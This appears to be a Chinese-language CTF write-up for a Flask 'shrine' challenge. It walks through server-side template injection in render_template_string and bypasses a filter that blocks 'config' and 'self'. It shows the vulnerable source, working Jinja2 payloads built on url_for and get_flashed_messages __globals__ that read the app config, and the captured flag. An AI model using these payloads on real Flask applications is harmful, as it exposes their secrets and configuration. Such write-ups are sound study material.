拖了好几天,还是把wp写下来吧
首先打开靶场,我们会发现,直接把源码就给你了
我们查看源代码会更舒服点,贴到这里:
import flask import os app = flask.Flask(__name__) app.config[\'FLAG\'] = os.environ.pop(\'FLAG\') @app.route(\'/\') def index(): return open(__file__).read() @app.route(\'/shrine/<path:shrine>\') def shrine(shrine): def safe_jinja(s): s = s.replace(\'(\', \'\').replace(\')\', \'\') blacklist = [\'config\', \'self\'] return \'\'.join([\'{{% set {}=None%}}\'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == \'__main__\': app.run(debug=True)
app.config[\'FLAG\'] = os.environ.pop(\'\'FLAG)
这一句,我们可以发现,FLAG是在config中,那我们是不是可以直接访问{{config}},先不看这个,我们接着往下看
主页路由就是读出这个文件的代码。没有我们可以控制的地方,所以继续往下看
我们发现路由注册/shrine/<path:shrine> # path可控
然后有一个视图函数,在视图函数还声明了safe_jinja()的函数,需要接受一个参数s,返回一个字符串
大概就是,如果你传入config,或者是self.config的时候,都会将其置为None.自然我们读不到config配置下的flag值。
这就验证了上一个我们无法用{{config}}去找flag
而且,我们还发现了flask.render_template_string()这个函数,SSTI肯定就在这里
好了了解代码之后,我们就开始实际注入了
当作表达式执行了,于是我们开始去找payload,这里self,和config肯定不能用了,被过滤掉了
不过,python还有一些内置的函数,比如url_for和get_flashed_messages
返回之前在Flask中通过 flash() 传入的闪现信息列表。
把字符串对象表示的消息加入到一个消息队列中,
然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
有了这些内置函数,我们再看看他们的globals列表
我们发现了这个,那它是不是就是现在的app呢?于是我们payload,{{url_for.__globals__[\'current_app\'].config}}
然后我们就拿到了flag
flag{73e221d4-0d85-470f-9c97-e1dd9026de7d}
这是利用了python的一些内置的函数,然后进行它这个函数的绕过。然后就行访问。
/shrine/{{url_for.__globals__[\'current_app\'].config[\'FLAG\']}}
/shrine/{{get_flashed_messages.__globals__[\'current_app\'].config[\'FLAG\']}}